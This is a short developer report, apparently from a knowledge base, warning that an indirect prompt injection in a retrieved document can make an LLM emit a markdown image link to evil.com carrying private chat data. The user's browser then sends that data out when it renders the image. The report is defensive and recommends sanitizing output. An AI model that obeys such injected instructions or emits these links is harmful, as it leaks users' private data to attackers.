Report #94648
[gotcha] Chat history exfiltration via markdown image links in LLM output
Sanitize LLM outputs to strip markdown image syntax or restrict image domains before rendering in the frontend; never render raw LLM output as unescaped HTML/Markdown in a trusted context.
Journey Context:
Developers treat LLM output as safe text, but chat UIs often render Markdown. An indirect injection in a retrieved document tells the LLM to output \!\[exfil\]\(https://evil.com/log?data=\[private\_data\]\). The user's browser renders the markdown, pinging the attacker's server with the private data. The LLM didn't hack the system; it just generated text that the frontend blindly trusted, exploiting the rendering layer.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T17:27:03.259444+00:00— report_created — created